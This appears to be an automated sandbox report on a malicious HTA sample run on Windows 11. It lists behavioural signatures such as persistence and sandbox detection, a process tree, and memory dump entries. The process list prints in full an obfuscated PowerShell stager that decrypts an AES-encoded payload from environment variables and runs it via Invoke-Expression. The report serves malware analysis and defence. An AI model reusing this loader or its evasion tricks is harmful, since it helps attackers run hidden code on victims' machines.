Analysis

  • max time kernel
    149s
  • max time network
    130s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/06/2026, 18:15

General

  • Target
    makemybestgoodpartwithbetterwayscomingforme.hta
  • Size 638KB
  • Sample260624-wwd19aev3m
  • SHA256 4ae02363e9dc34ff7a7370b7569fe84c54d7fb2839ffb1be194138d6867b56e5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\makemybestgoodpartwithbetterwayscomingforme.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    PID:2020
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try { $enteromphalus = [System.Text.Encoding]::UTF8.GetBytes('CqLSfGXFZzyy6nwI'); if ($enteromphalus.Length -lt 32) { $enteromphalus = $enteromphalus + (0..(31 - $enteromphalus.Length)) }; $isotopomers = [Convert]::FromBase64String($env:P1+$env:P2); $sautellus = $isotopomers[0..15]; $pamphletary = $isotopomers[16..($isotopomers.Length-1)]; $bedsitter = [System.Security.Cryptography.Aes]::Create(); $bedsitter.Key = $enteromphalus; $bedsitter.IV = $sautellus; $davidsonite = $bedsitter.CreateDecryptor(); $tennu = $davidsonite.TransformFinalBlock($pamphletary, 0, $pamphletary.Length); $kvetched = [System.Text.Encoding]::UTF8.GetString($tennu); Invoke-Expression $kvetched; } catch {}"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4812
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:5736
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:1416
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3880
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4024

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        prep_Activatable Class_Hermes_perf.cache

        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH

        prep_Activatable Class_Hermes_perf.cache

        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 595B
        • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
        • MD5 SHA1 SHA512 TLSH

        memory/4024-39-0x0000021A001E0000-0x0000021A002E0000-memory.dmp

        memory/4024-52-0x0000021A02E70000-0x0000021A02F70000-memory.dmp

        memory/4024-83-0x0000021A141F0000-0x0000021A14210000-memory.dmp

        memory/4024-38-0x0000021A001E0000-0x0000021A002E0000-memory.dmp

        memory/4024-37-0x0000021A001E0000-0x0000021A002E0000-memory.dmp

        memory/4024-50-0x0000021A02A30000-0x0000021A02A50000-memory.dmp

        memory/4024-69-0x0000021A02C70000-0x0000021A02C90000-memory.dmp

        memory/4812-7-0x00007FFCD8400000-0x00007FFCD8DA4000-memory.dmp

        memory/4812-9-0x00007FFCD8400000-0x00007FFCD8DA4000-memory.dmp

        memory/4812-13-0x00007FFCD8400000-0x00007FFCD8DA4000-memory.dmp

        memory/4812-14-0x00007FFCD8400000-0x00007FFCD8DA4000-memory.dmp

        memory/4812-16-0x00007FFCD8400000-0x00007FFCD8DA4000-memory.dmp

        memory/4812-11-0x00007FFCD8400000-0x00007FFCD8DA4000-memory.dmp

        memory/4812-10-0x00007FFCD8400000-0x00007FFCD8DA4000-memory.dmp

        memory/4812-12-0x00007FFCD8400000-0x00007FFCD8DA4000-memory.dmp

        memory/4812-8-0x00007FFCD8400000-0x00007FFCD8DA4000-memory.dmp

        memory/4812-0-0x00007FFCD858F000-0x00007FFCD8590000-memory.dmp

        memory/4812-5-0x00007FFCD8400000-0x00007FFCD8DA4000-memory.dmp

        memory/4812-6-0x00007FFCD8400000-0x00007FFCD8DA4000-memory.dmp

        memory/4812-4-0x00000210F7AC0000-0x00000210F7AE2000-memory.dmp

        memory/4812-2-0x00007FFCD8400000-0x00007FFCD8DA4000-memory.dmp